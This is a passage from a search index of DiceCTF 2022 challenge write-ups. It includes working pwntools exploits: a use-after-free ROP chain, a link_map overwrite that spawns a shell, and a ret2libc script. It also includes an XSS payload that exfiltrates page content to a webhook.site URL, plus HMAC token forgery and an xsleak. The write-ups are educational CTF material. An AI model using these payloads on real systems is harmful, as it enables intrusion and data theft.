"},{"location":"Writeup/DiceCTF%202022/#miscundefined","title":"misc/undefined","text":"Node.js wraps modules in a top-level function where require
is passed in as an argument, meaning that require
will always be accessible from arguments
. However, since arguments
is shadowed, you have to first create a function then access the parent function's arguments via arguments.callee.caller.arguments
:
(function(){return arguments.callee.caller.arguments[1](\"fs\").readFileSync(\"/flag.txt\", \"utf8\")})()\n
For some reason, when making the challenge, I thought import
wouldn't work due to Node defaulting to common.js modules, but it does for some reason, so there's a much easier cheese:
import(\"fs\").then(m=>console.log(m.readFileSync(\"/flag.txt\", \"utf8\")))\n
"},{"location":"Writeup/DiceCTF%202022/#miscsober-bishop","title":"misc/sober-bishop","text":"To solve the challenge, players must find a flag which can be passed into OpenSSH's randomart algorithm. Due to the high-collision nature of the function, randomart(md5(flag))
is also provided. We need to implement a high-performance algorithm to identify valid paths through the grid. My approach was this: 1. Starting at our inital point, try moving to a diagonally adjacent position 2. Append the new position to a list of positions 3. Check if the number of times the current position appears in the list exceeds the number of times indicated by the grid - If we are at the end position, go to step 5 - If it does not exceed, then try moving to a new position - If it does, then pop the current position off the list 4. Repeat steps 1-3 on the next of the four possible positions 5. Convert the list of coordinates to a series of two-bit pairs, and convert them to a byte array 6. Check if the randomart(md5(array))
matches the provided randomart - If not, return to step 3 - If so, we're done, and print our flag
To optimise this approach: - For the initial 4 positions, we can split the work across multiple cores easily, each exploring potential paths - We know the start position, and the first 5 characters (dice{
). Therefore we can hardcode the first 21 positions - At each position, we can convert our path to a string and check if it meets the constraints (begins with dice{
, all lowercase alphanumeric). If not, we can backtrack - If we have a 'complete' flag dice{[a-z0-9]+}
, we can verify that each position has been visited the correct number of times - If all this is the case, we can attempt to calculate the MD5
My Rust solution took 20 seconds to extract the flag dice{unr4nd0m}
The challenge is a simple use-after-free, but with a few mitigations to make exploitation harder.
Because the challenge uses a struct with a char *
, players can easily turn the use-after-free into an arbitrary read and write without specialized heap voodoo. PIE is disabled because I'm nice.
The challenge has several mitigations.
1) the glibc version is 2.34 (as printed out 3 different times when you connect to the server), which removed the __free_hook
and __malloc_hook
flags 2) full RELRO is used, which removes another collection of function pointers to overwrite 3) the binary uses seccomp to ban the execve
syscall. So both calling a one-gadget and calling system(\"/bin/sh\")
are off the table. 4) ASLR (but not PIE) is enabled, so the location of the stack is randomized.
As the challenge name indicates, you are supposed to ROP your way to the flag, using an open-read-write ROP chain. So now the question is -- how can you turn your arbitrary read/write into a ROP chain? First, you'll need to leak a stack address.
A nice description of how to leverage arbitrary reads in the binary/libc/heap/stack to determine the location of everything else can be found in this blog post. Note: these techniques were also heavily featured in the breach
and containment
challenges!
The crucial section is that libc
contains an environ
pointer which points to a location on the stack.
The sequence is: 1) read GOT to leak a libc address 2) read libc->environ to leak a stack address 3) compute the offset to the saved return addresses 4) ROP your way to the flag!
Some teams had solutions which worked locally but not on remote. Some common fixed to these problems were: 1) use a write syscall instead of puts()
to print the flag 2) double-check that the offset between *environ
and the saved return address is correct on remote (should be -0x140
). This has some slight variation depending on your configuration, but it's not hard to brute-force and check whether you're correct 3) using .bss
as temporary storage instead of the heap. For whatever reason, exploits which tried to read the contents of flag.txt
onto the heap were unreliable 4) open flag.txt
in read-only mode. The redpwn jail we were using didn't support writing to disk 5) end your rop chain with an exit(0)
syscall, which has the side-effect of flushing stdout
My exploit is the following
from pwn import *\n\ndef split_before(s, t):\n i = s.index(t)\n return s[:i]\n\ndef split_after(s, t):\n i = s.index(t)\n return s[len(t) + i:]\n\n\n#################################################\n\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]\ncontext.arch = 'amd64'\ncontext.binary = \"./run\"\n\nhost = args.HOST or 'localhost'\nport = args.PORT or 31245\n\nif args.LOCAL:\n r = process(\"./run\", env = {'LD_PRELOAD' : './libc.so.6'})\nelse:\n r = remote(host, port)\n\nbinary = ELF(\"./run\")\nlibc = ELF(\"./libc.so.6\")\n\nmalloc_libc_OFFSET = libc.symbols[\"malloc\"]\nfree_libc_OFFSET = libc.symbols[\"free\"]\n\n\n#################################################\n\ndef xfree(idx):\n print(r.recvuntil(b\"enter your command: \").decode())\n r.sendline(b\"F\")\n print(r.recvuntil(b\"enter your index: \").decode())\n r.sendline(\"{}\".format(idx).encode())\n\ndef xread(idx):\n print(r.recvuntil(b\"enter your command: \").decode())\n r.sendline(b\"R\")\n print(r.recvuntil(b\"enter your index: \").decode())\n r.sendline(\"{}\".format(idx).encode())\n\ndef xwrite(idx, value=b\"\"):\n print(r.recvuntil(b\"enter your command: \").decode())\n r.sendline(b\"W\")\n print(r.recvuntil(b\"enter your index: \").decode())\n r.sendline(\"{}\".format(idx).encode())\n print(r.recvuntil(b\"enter your string: \").decode())\n r.sendline(value)\n\ndef xcreate(idx, length, value=b\"\"):\n print(r.recvuntil(b\"enter your command: \").decode())\n r.sendline(b\"C\")\n print(r.recvuntil(b\"enter your index: \").decode())\n r.sendline(\"{}\".format(idx).encode())\n print(r.recvuntil(b\"How long is your safe_string: \").decode())\n r.sendline(\"{}\".format(length).encode())\n print(r.recvuntil(b\"enter your string: \").decode())\n r.sendline(value)\n\n\n#################################################\n\nxcreate(0, 128)\nxcreate(1, 128)\n\nxfree(0)\nxfree(1)\n\ngot_free_addr = binary.symbols['got.free']\npayload = p64(8) + p64(got_free_addr)\nxcreate(2, 16, payload)\n\nxread(0)\n\nprint(r.recvuntil(b\"hex-encoded bytes\\n\").decode())\ns = r.readline()\ns = s.decode()\ns = s.replace(\" \", \"\")\ns = bytes.fromhex(s)\nfree_addr = u64(s)\n\nlibc_base_addr = free_addr - free_libc_OFFSET\n\n# -------------------------------------------------\n\ngot_malloc_addr = binary.symbols['got.malloc']\npayload = p64(8) + p64(got_malloc_addr)\nxwrite(2, payload)\n\nxread(0)\n\nprint(r.recvuntil(b\"hex-encoded bytes\\n\").decode())\ns = r.readline()\ns = s.decode()\ns = s.replace(\" \", \"\")\ns = bytes.fromhex(s)\nmalloc_addr = u64(s)\n\nassert malloc_libc_OFFSET - free_libc_OFFSET == malloc_addr - free_addr\n\n# -------------------------------------------------\n\nlibc_environ_addr = libc_base_addr + libc.symbols[\"environ\"]\npayload = p64(8) + p64(libc_environ_addr)\nxwrite(2, payload)\n\nxread(0)\n\nprint(r.recvuntil(b\"hex-encoded bytes\\n\").decode())\ns = r.readline()\ns = s.decode()\ns = s.replace(\" \", \"\")\ns = bytes.fromhex(s)\nenviron_addr = u64(s)\n\nprint(hex(libc_environ_addr))\nprint(hex(environ_addr))\n\n# -------------------------------------------------\n\nlibc.address = libc_base_addr\nrop = ROP(libc)\n\n# find offset with gdb, might need some brute-force for remote\nrip_addr = environ_addr - 0x140\n\n# new file descriptor, totally brute-forcible\nfd = 3\n# pointer to filename = \"flag.txt\"\ndst_filename = binary.bss(400)\n\nmov_rcx_rdx_addr = libc_base_addr + 0x0016c020 # 2.34\nmov_rcx_rdx = p64(mov_rcx_rdx_addr)\n\nprint(disasm(libc.read(mov_rcx_rdx_addr, 4)))\n\nrop(rcx=dst_filename, rdx=u64(b\"flag.txt\"))\nrop.raw(mov_rcx_rdx)\nrop(rcx=dst_filename + 8, rdx=0)\nrop.raw(mov_rcx_rdx)\n\n# sanity checks\nrop.puts(dst_filename)\nrop.write(1, dst_filename, 16, 1)\n\nrop.open(dst_filename, 0)\nrop.read(fd, dst_filename, 128)\nrop.write(1, dst_filename, 128)\n\n\nrop.exit(0)\n\n\n# -------------------------------------------------\n\n\nreal_payload = rop.chain()\n\npayload = p64(len(real_payload)) + p64(rip_addr)\nxwrite(2, payload)\n\nxwrite(0, real_payload)\n\n# gdb.attach(r)\n\nr.sendline(b\"E0\")\n\nsleep(0.1)\n\nprint(r.recv())\n\n
"},{"location":"Writeup/DiceCTF%202022/#pwndata-eater","title":"pwn/data-eater","text":"There's usually a pointer to link_map
on the stack somewhere, so just write some data to buf
and overwrite the DT_STRTAB
pointer in link_map->l_info
.
The offset to link_map
varies a little bit but this should cover most of the possibilities.
def sice(k):\n print(k)\n try:\n # do pwning\n r = conn()\n r.sendline(f'%s%{k}$s')\n r.sendline(b'/bin/sh\\0' + p64(exe.sym['buf'] + 16 - exe.section('.dynstr').index(b'memset\\x00')) + b'system\\0 ' + p64(0)*13 + p64(exe.sym['buf'])[:-1])\n\n # make sure we got a shell\n r.recv(timeout=0.1)\n r.sendline('echo ginkoid')\n r.recvuntil('ginkoid')\n\n r.interactive()\n return True\n except EOFError:\n return False\n finally:\n r.close()\n\nfor k in range(30, 50):\n if sice(k): break\n
I recently found this doesn't work with ubuntu:18.04
and centos:6
for some reason, but the 14 other Docker images I tried were okay. Apologies if this caused you trouble! I initially only tested on a couple (including my own host) and it worked on all of them so I didn't bother trying more.
This challenge is a classic return2libc exploit. The bug here is 60 byte overflow into the 10 byte reason
char array from the read()
function call.
...\nint main(int argc, char **argv) {\n char reason[10];\n ...\n read(0, reason, 70);\n puts(reason);\n}\n
The only mitigations that are enabled are NX and ASLR. With NX enabled, we can't use shellcode. So ROP and ret2libc is our workaround. To defeat ASLR we have to do 2 passes. 1) leak the libc base address and return to main. 2) return to system()
in libc. I have attached the solution script below.
from pwn import *\n\ne = ELF(\"./interview-opportunity\")\nlibc = ELF(\"./libc.so.6\")\ntarget = process(e.path)\ncontext.terminal = [\"tmux\", \"splitw\", \"-v\"]\n\nrdi = 0x401313\n\npayload = b\"A\" * 0x22\npayload += p64(rdi)\npayload += p64(e.got[\"puts\"])\npayload += p64(e.symbols[\"puts\"])\npayload += p64(e.symbols[\"main\"])\n\ntarget.sendline(payload)\n\ntarget.recvuntil(b\"A\" * 0x22)\ntarget.recvline()\n\nleak = u64(target.recvline(keepends=False).ljust(8, b\"\\x00\")) - libc.symbols[\"puts\"]\nprint(\"leak: {:#x}\".format(leak))\n\npayload = b\"A\"*0x22\npayload += p64(rdi + 1)\npayload += p64(rdi)\npayload += p64(next(libc.search(b\"/bin/sh\")) + leak)\npayload += p64(libc.symbols[\"system\"] + leak)\n\ntarget.sendline(payload)\ntarget.interactive()\n
"},{"location":"Writeup/DiceCTF%202022/#pwnnightmare","title":"pwn/nightmare","text":"REDACTED: We are redacting the solution for 1 week to give teams an attempt to claim the blood prize! The author writeup will be released after the first solve or the 1 week is up.
"},{"location":"Writeup/DiceCTF%202022/#pwnroad-to-failure","title":"pwn/road-to-failure","text":"REDACTED: We are redacting the solution for 1 week to give teams an attempt to claim the blood prize! The author writeup will be released after the first solve or the1 week is up.
"},{"location":"Writeup/DiceCTF%202022/#revuniversal","title":"rev/universal","text":"This challenge presents an obfuscate quantum circuit for performing addition based on the Quantum Fourier Transform adder, which is the same addition algorithm featured in the linked writeups from last year's quantum rev challenges. The goal is to determine that number is being added.
The obfuscation comes from that all of the Rz(theta)
rotations have been converted into long sequences of H
and T
gates -- thus making the entire quantum circuit only use H, T, CNOT
gates. The program I used for this was gridsynth, which is much more efficient than other approaches, eg as given by the construction of the Solovay-Kitaev theorem. No other obfuscations were applied, apart from those required to convert controlled-rotations into a mix of CNOT and single-qubit gates.
$ gridsynth pi/128\n SHTHTHTHTHTHTHTSHTHTHTHTSHTHTHTHTHTSHTSHTHTHTHTHTSHTHTHTSHTSHTHTSHTSHTSHTHTHTHTS\n HTHTHTHTHTSHTSHTHTSHTHTSHTSHTSHTSHTHTSHTSHTSHTSHTHTHTSHTSHTSHTHTHTHTSHTHTSHTHTHT\n SHTHTHTHTSHTHTSHTHTSHTSHTSHTHTHTHTHTHTHTSHTHTSHTHTHTSHTSHTHTHTSHTSHTSHTHTSHTHTHT\n HTSHTSHTSHSSSWWWWWWW\n
The intended solution analyzes the structure of the QFT to isolate where the actual rotations are beign applied. The QFT consists of a long chain of CNOT gates and Rz rotations. The actual adder component consists of only Rz rotations, with no CNOT gates. So the longest chain of gates in the circuit which contains no CNOT gates is the adder. This is the only component which you need to statically analyze. You can determine this by reading about how the QFT works, or by looking at the generate.py script from last year's challenges.
The following solution is essentially a quantum disassembler. For each single-qubit chain of H and T gates, it multiplies the gates together to determine what the quantum operator is. Then it determines that the corresponding Z-rotation angle is for this operator.
Once all the rotation angles have been recovered, extracting the number being added (ie the flag) proceeds identically to quantum-rev 2 from last year.
from math import pi, log2\nimport numpy as np\n\n\n# hadamard gate\nH = 1/np.sqrt(2)*np.array([[1, 1],\n [1,-1]], dtype=np.complex128)\n# T-phase gate\nT = np.array([[1, 0],\n [0, np.exp(1j * pi/4)]], dtype=np.complex128)\n# identity operator\nI = np.array([[1, 0],\n [0, 1]], dtype=np.complex128)\n\n\n########################################\n\n# num qubits\nn = 256\n# max error\nepsilon = 1e-4\n\n\n\"\"\"\nlook for the start/end of the QFT.\nThis includes a few extra gates (from the QFT)\nfor qubit 0 and 1, so we just ignore those\n\"\"\"\n\nidcs = []\nwith open(\"converted_circuit.qasm\", \"r\") as f:\n for i,line in enumerate(f):\n if line == \"cx q[1],q[0];\\n\":\n idcs.append(i)\n # print(i)\n\ni0 = idcs[1]\ni1 = idcs[2]\n\nlines = open(\"converted_circuit.qasm\", \"r\").readlines()\nidcs = [i for i,line in enumerate(lines)]\ngates = lines[i0 + 1:i1 - 1]\n\n\n########################################\n\nunitaries = [I for _ in range(n)]\n\nfor line in gates:\n instr = line[0]\n qubit = line[line.find(\"[\")+1:line.find(\"]\")]\n qubit = int(qubit)\n\n i = qubit\n if instr == 't':\n unitaries[i] = unitaries[i] @ T\n elif instr == 'h':\n unitaries[i] = unitaries[i] @ H\n else:\n raise ValueError(\"invalid gate\")\n\n\n# correct for QFT spillover\nfor i in range(3):\n unitaries[i] = I\n\n########################################\n\nbinary_reprs = \"\"\nunitaries = unitaries\n\nfor i,u in enumerate(unitaries):\n delta = np.abs(u) - I\n if np.max(np.abs(delta)) > epsilon:\n raise ValueError(\"unitary is not approximately a phase gate\")\n\n u /= u[0][0]\n angle = np.angle(u[1][1])\n\n b = str(int(angle < 0))\n binary_reprs += b\n\n\nflag = int(binary_reprs[::-1], 2).to_bytes(n//8, \"little\")\n# first character is wrong b/c we included some extra QFT gates lol\nflag = b\"d\" + flag[1:]\nprint(flag)\n
However, during the competition the only solves were from a very amusing approach -- just run the program and it prints out the flag! Apparently the circuit simulator used in qiskit is able to very efficiently emulate the circuit in this problem without ever constructing the full statevector. The statevector has length 2^256
, so I had assumed that classically simulating the output would be completely impossible. Clearly, the IBM engineers and scientists behind qiskit deserve a raise >_<.
The runtime of the below script for me is 45 minutes and it takes < 4 gigs of ram -- much less than 2^256!
from qiskit import QuantumCircuit, Aer, execute\nsimulator = Aer.get_backend('aer_simulator')\nqc = QuantumCircuit.from_qasm_file(\"converted_circuit.qasm\")\n\n# add some measurement gates at the end\nqubits = list(range(256))\nqc.measure(qubits, qubits)\njob = execute(qc, simulator)\nresult = job.result()\nprint(result.get_counts())\n\nnum_chars = 256 // 8\nx = list(result.get_counts().keys())[0]\nf = int(x, 2).to_bytes(num_chars, \"little\")\nprint(f)\n
"},{"location":"Writeup/DiceCTF%202022/#webknock-knock","title":"web/knock-knock","text":"This challenge gives a pastebin where notes are accessed by id
and token
. The tokens are generated as follows:
generateToken(id) {\n return crypto\n .createHmac('sha256', this.secret)\n .update(id.toString())\n .digest('hex');\n }\n
This looks okay, as long as the secret is chosen securely. Let's take a look at where that comes from:
constructor() {\n this.notes = [];\n this.secret = `secret-${crypto.randomUUID}`;\n }\n
If you are careful, you can spot the issue here: crypto.randomUUID
is a function, but it is not called. Let's see what this looks like:
> const crypto = require('crypto')\nundefined\n> const secret = `secret-${crypto.randomUUID}`;\nundefined\n> secret\n'secret-function randomUUID(options) {\\n' +\n ' if (options !== undefined)\\n' +\n \" validateObject(options, 'options');\\n\" +\n ' const {\\n' +\n ' disableEntropyCache = false,\\n' +\n ' } = options || {};\\n' +\n '\\n' +\n \" validateBoolean(disableEntropyCache, 'options.disableEntropyCache');\\n\" +\n '\\n' +\n ' return disableEntropyCache ? getUnbufferedUUID() : getBufferedUUID();\\n' +\n '}'\n> \n
Well, it looks like we know the secret. Looking at the source, we see that the flag is at id=0
, so we generate a token for that:
> crypto.createHmac('sha256', secret).update('0').digest('hex')\n'7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264'\n
Making a request to
https://knock-knock.mc.ax/note?id=0&token=7bd881fe5b4dcc6cdafc3e86b4a70e07cfd12b821e09a81b976d451282f6e264\n
gives us the flag.
"},{"location":"Writeup/DiceCTF%202022/#webdicevault","title":"web/dicevault","text":"tl;dr use a combination of history.go(-x)
and undocumented history.length
xsleak to guess the location of a window and brute force flag path directory-by-directory.
unintended: open vault window, redirect to your origin and get it to click vault buttons on your origin :(
async function isLocation(win, url) {\n win.location = \"about:blank\";\n await sleep();\n const hlen1 = win.history.length;\n win.history.go(-1);\n await sleep();\n win.location = url + \"#zzzzz\";\n win.location = \"about:blank\";\n await sleep();\n const hlen2 = win.history.length;\n\n // reset history to initial state before running this function\n if (hlen1 + 1 === hlen2) {\n win.history.go(-2);\n } else if (hlen1 === hlen2) {\n win.history.go(-1);\n }\n return hlen1 + 1 === hlen2;\n }\n
"},{"location":"Writeup/DiceCTF%202022/#webshadow","title":"web/shadow","text":"full solution:
https://shadow.mc.ax/?x=%3Cimg%20src%3D%22x%22%20onerror%3D%22find(%27steal%27)%3Bdocument.execCommand(%27insertHTML%27%2C%20false%2C%20%60%3Csvg%20onload%3D%26%2334%3Bwindow.location%3D%27https%3A%2F%2Fwebhook.site%2Fa602d76c-28a3-4e0a-8793-b183bc9bfba4%3Fa%3D%27%2BencodeURIComponent(this.parentNode.innerHTML)%26%2334%3B%3E%60)%3B%22%3E&y=-webkit-user-modify:%20read-write;\n
css payload:
-webkit-user-modify: read-write;\n
js payload:
find('steal');\ndocument.execCommand('insertHTML', false, `<svg onload=\"window.location='https://webhook.site/a602d76c-28a3-4e0a-8793-b183bc9bfba4?a='+encodeURIComponent(this.parentNode.innerHTML)\">`);\n
Use the obscure -webkit-user-modify
property to make the div inside the shadowDOM editable then document.execCommand(\"insertHTML\",\"payload\")
to write HTML inside it and get code execution inside the shadowDOM context.
We can easily exfiltrate despite the CSP by setting window.location
Here's the original version of the code before macro expansion (and with the flag added in):
#![recursion_limit = \"10000\"]\n// #![allow(dead_code, unused_macros)]\n\nuse std::marker::PhantomData;\n\nmacro_rules! mktype {\n ($name: ident) => {\n struct $name;\n };\n\n ($name: ident<$($t: ident),*>) => {\n struct $name<$($t),*>($(PhantomData<$t>),*);\n }\n}\n\nmacro_rules! mktrait {\n ($name: ident) => {\n trait $name {\n type Output;\n }\n };\n ($name: ident<$($arg: ident),*>) => {\n trait $name<$($arg),*> {\n type Output;\n }\n }\n}\n\nmacro_rules! mkimpl {\n ($name: ident<$($gen: ident),*>[$($cgen: ty : $cons: path),*]($firstarg: ty $(, $arg: ty)*) = $output: ty) => {\n impl<$($gen),*> $name<$($arg),*> for $firstarg\n where\n $($cgen: $cons),*\n {\n type Output = $output;\n }\n }\n}\n\nmacro_rules! mkout {\n ($name: ident, $firstarg: ty $(, $arg: ty)*) => {\n <$firstarg as $name<$($arg),*>>::Output\n }\n}\n\nmktype!(S<T>);\nmktype!(Z);\nmktrait!(Add<O>);\nmkimpl!(Add<T>[](T, Z) = T);\nmkimpl!(Add<T, K>[T: Add<K>](T, S<K>) = S<mkout!(Add, T, K)>);\nmktrait!(Mul<O>);\nmkimpl!(Mul<T>[](T, Z) = Z);\nmkimpl!(Mul<T, K>[T: Mul<K>, T: Add<mkout!(Mul, T, K)>](T, S<K>) = mkout!(Add, T, mkout!(Mul, T, K)));\nmktrait!(Sub<O>);\nmkimpl!(Sub<T>[](T, Z) = T);\nmkimpl!(Sub<T, K>[T: Sub<K>](S<T>, S<K>) = mkout!(Sub, T, K));\nmktrait!(Neq<O>);\nmkimpl!(Neq<>[](Z, Z) = Z);\nmkimpl!(Neq<T>[](S<T>, Z) = S<Z>);\nmkimpl!(Neq<T>[](Z, S<T>) = S<Z>);\nmkimpl!(Neq<T, K>[T: Neq<K>](S<T>, S<K>) = mkout!(Neq, T, K));\n\nmktype!(Nil);\nmktype!(Cons<H, T>);\n\nmacro_rules! mklist {\n () => { Nil };\n ($first: ty $(, $rest: ty)*) => {\n Cons<$first, mklist!($($rest),*)>\n }\n}\n\nmacro_rules! mkcons {\n ($first: ty) => { $first };\n ($first: ty $(, $rest: ty)*) => {\n Cons<$first, mkcons!($($rest),*)>\n }\n}\n\nmktrait!(Eval);\n\nmacro_rules! mkfunc {\n ($name: ident) => {\n mktype!($name);\n mkimpl!(Eval<>[]($name) = $name);\n }\n}\n\nmkfunc!(AddFunc);\nmkfunc!(MulFunc);\nmkfunc!(SubFunc);\nmkfunc!(ConsFunc);\nmkfunc!(RawList);\nmkfunc!(GetLast);\nmkfunc!(AssertEq);\nmkfunc!(AssertNeq);\nmkfunc!(MapFunc);\nmkfunc!(MkConstraint);\nmkfunc!(MkNConstraint);\nmkfunc!(FirstOf3);\nmkfunc!(RestOf3);\nmkfunc!(ApplyFunc);\n\nmkimpl!(Eval<>[](Z) = Z);\nmkimpl!(Eval<T>[](S<T>) = S<T>);\nmkimpl!(Eval<>[](Cons<RawList, Nil>) = Nil);\nmkimpl!(Eval<H, T>[H: Eval](Cons<RawList, Cons<H, T>>) = Cons<mkout!(Eval, H), T>);\nmkimpl!(\n Eval<A, B>[A: Eval, B: Eval, mkout!(Eval, A): Sub<mkout!(Eval, B)>](mklist!(SubFunc, A, B)) =\n mkout!(Sub, mkout!(Eval, A), mkout!(Eval, B))\n);\nmkimpl!(Eval<T>[T: Eval](Cons<GetLast, mklist!(T)>) = mkout!(Eval, T));\nmkimpl!(\n Eval<T, K, R>[mkcons!(GetLast, K, R): Eval, T: Eval](mkcons!(GetLast, T, K, R)) =\n mkout!(Eval, mkcons!(GetLast, K, R))\n);\nmkimpl!(Eval<T>[](Cons<AssertEq, mklist!(T)>) = Z);\nmkimpl!(\n Eval<T, K, R>\n [T: Eval, K: Eval, mkout!(Eval, T): Sub<mkout!(Eval, K)>, mkout!(Eval, K): Sub<mkout!(Eval, T)>, mkcons!(AssertEq, K, R): Eval]\n (mkcons!(AssertEq, T, K, R)) =\n mkout!(Eval, mkcons!(AssertEq, K, R))\n);\nmkimpl!(\n Eval<T, K>\n [T: Eval, K: Eval, mkout!(Eval, T): Neq<mkout!(Eval, K)>, mkout!(Neq, mkout!(Eval, T), mkout!(Eval, K)): Sub<S<Z>>]\n (Cons<AssertNeq, mklist!(T, K)>) =\n Z\n);\nmkimpl!(Eval<F>[](mklist!(MapFunc, F)) = Nil);\nmkimpl!(\n Eval<F, H, T>\n [mklist!(F, H): Eval, mkcons!(MapFunc, F, T): Eval]\n (mkcons!(MapFunc, F, H, T)) =\n Cons<mkout!(Eval, mklist!(F, H)), mkout!(Eval, mkcons!(MapFunc, F, T))>\n);\nmkimpl!(Eval<F, A, B, T>[](mklist!(MkConstraint, mklist!(F, A, B, T))) = mklist!(AssertEq, mklist!(F, A, B), T));\nmkimpl!(Eval<F, A, B, T>[](mklist!(MkNConstraint, mklist!(F, A, B, T))) = mklist!(AssertNeq, mklist!(F, A, B), T));\nmkimpl!(Eval<>[](mklist!(FirstOf3)) = Nil);\nmkimpl!(Eval<A, B, C, T>[Cons<FirstOf3, T>: Eval](mkcons!(FirstOf3, A, B, C, T)) = Cons<A, mkout!(Eval, Cons<FirstOf3, T>)>);\nmkimpl!(Eval<>[](mklist!(RestOf3)) = Nil);\nmkimpl!(Eval<A, B, C, T>[Cons<RestOf3, T>: Eval](mkcons!(RestOf3, A, B, C, T)) = mkcons!(B, C, mkout!(Eval, Cons<RestOf3, T>)));\nmkimpl!(\n Eval<F, T>[T: Eval, Cons<F, mkout!(Eval, T)>: Eval](mklist!(ApplyFunc, F, T)) =\n mkout!(Eval, Cons<F, mkout!(Eval, T)>)\n);\nmkimpl!(Eval<T>[T: Eval](mklist!(ConsFunc, T)) = mkout!(Eval, T));\nmkimpl!(Eval<H, T>[Cons<ConsFunc, T>: Eval](mkcons!(ConsFunc, H, T)) = Cons<H, mkout!(Eval, Cons<ConsFunc, T>)>);\n\nmacro_rules! mkfold {\n ($fc: ident, $f: ident, $empty: ty, [$t: ident] $one: ty) => {\n mkimpl!(Eval<>[](mklist!($fc)) = $empty);\n mkimpl!(Eval<$t>[$t: Eval](mklist!($fc, $t)) = $one);\n mkimpl!(\n Eval<H1, H2, T>\n [H2: Eval, H1: $f<mkout!(Eval, H2)>, mkcons!($fc, mkout!($f, H1, mkout!(Eval, H2)), T): Eval]\n (Cons<$fc, Cons<H1, Cons<H2, T>>>)\n = mkout!(Eval, mkcons!($fc, mkout!($f, H1, mkout!(Eval, H2)), T))\n );\n }\n}\n\nmkfold!(AddFunc, Add, Z, [T] T);\nmkfold!(MulFunc, Mul, S<Z>, [T] T);\n\ntype Ten = S<S<S<S<S<S<S<S<S<S<Z>>>>>>>>>>;\ntype Hundred = mkout!(Mul, Ten, Ten);\n\ntrait AsChar { const CHAR: char; }\ntype Char_ = Z;\nimpl AsChar for Char_ { const CHAR: char = '_'; }\ntype Char0 = S<Z>;\nimpl AsChar for Char0 { const CHAR: char = '0'; }\ntype Char1 = S<S<Z>>;\nimpl AsChar for Char1 { const CHAR: char = '1'; }\ntype Char2 = S<S<S<Z>>>;\nimpl AsChar for Char2 { const CHAR: char = '2'; }\ntype Char3 = S<S<S<S<Z>>>>;\nimpl AsChar for Char3 { const CHAR: char = '3'; }\ntype Char4 = S<S<S<S<S<Z>>>>>;\nimpl AsChar for Char4 { const CHAR: char = '4'; }\ntype Char5 = S<S<S<S<S<S<Z>>>>>>;\nimpl AsChar for Char5 { const CHAR: char = '5'; }\ntype Char6 = S<S<S<S<S<S<S<Z>>>>>>>;\nimpl AsChar for Char6 { const CHAR: char = '6'; }\ntype Char7 = S<S<S<S<S<S<S<S<Z>>>>>>>>;\nimpl AsChar for Char7 { const CHAR: char = '7'; }\ntype Char8 = S<S<S<S<S<S<S<S<S<Z>>>>>>>>>;\nimpl AsChar for Char8 { const CHAR: char = '8'; }\ntype Char9 = mkout!(Add, mkout!(Mul, Ten, S<Z>), Z);\nimpl AsChar for Char9 { const CHAR: char = '9'; }\ntype CharA = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<Z>);\nimpl AsChar for CharA { const CHAR: char = 'a'; }\ntype CharB = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<Z>>);\nimpl AsChar for CharB { const CHAR: char = 'b'; }\ntype CharC = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<Z>>>);\nimpl AsChar for CharC { const CHAR: char = 'c'; }\ntype CharD = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<Z>>>>);\nimpl AsChar for CharD { const CHAR: char = 'd'; }\ntype CharE = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<Z>>>>>);\nimpl AsChar for CharE { const CHAR: char = 'e'; }\ntype CharF = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<Z>>>>>>);\nimpl AsChar for CharF { const CHAR: char = 'f'; }\ntype CharG = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<Z>>>>>>>);\nimpl AsChar for CharG { const CHAR: char = 'g'; }\ntype CharH = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<Z>>>>>>>>);\nimpl AsChar for CharH { const CHAR: char = 'h'; }\ntype CharI = mkout!(Add, mkout!(Mul, Ten, S<Z>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>);\nimpl AsChar for CharI { const CHAR: char = 'i'; }\ntype CharJ = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), Z);\nimpl AsChar for CharJ { const CHAR: char = 'j'; }\ntype CharK = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<Z>);\nimpl AsChar for CharK { const CHAR: char = 'k'; }\ntype CharL = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<Z>>);\nimpl AsChar for CharL { const CHAR: char = 'l'; }\ntype CharM = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<Z>>>);\nimpl AsChar for CharM { const CHAR: char = 'm'; }\ntype CharN = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<Z>>>>);\nimpl AsChar for CharN { const CHAR: char = 'n'; }\ntype CharO = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<Z>>>>>);\nimpl AsChar for CharO { const CHAR: char = 'o'; }\ntype CharP = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<Z>>>>>>);\nimpl AsChar for CharP { const CHAR: char = 'p'; }\ntype CharQ = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<Z>>>>>>>);\nimpl AsChar for CharQ { const CHAR: char = 'q'; }\ntype CharR = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<Z>>>>>>>>);\nimpl AsChar for CharR { const CHAR: char = 'r'; }\ntype CharS = mkout!(Add, mkout!(Mul, Ten, S<S<Z>>), S<S<S<S<S<S<S<S<S<Z>>>>>>>>>);\nimpl AsChar for CharS { const CHAR: char = 's'; }\ntype CharT = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), Z);\nimpl AsChar for CharT { const CHAR: char = 't'; }\ntype CharU = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<Z>);\nimpl AsChar for CharU { const CHAR: char = 'u'; }\ntype CharV = mkout!(Add, mkout!(Mul, Ten, S<S<S<Z>>>), S<S<Z>>);\nimpl AsChar for CharV { const CHAR: char = 'v'; }\ntype CharW = mkout!(Add, mkout!(Mul, Ten, 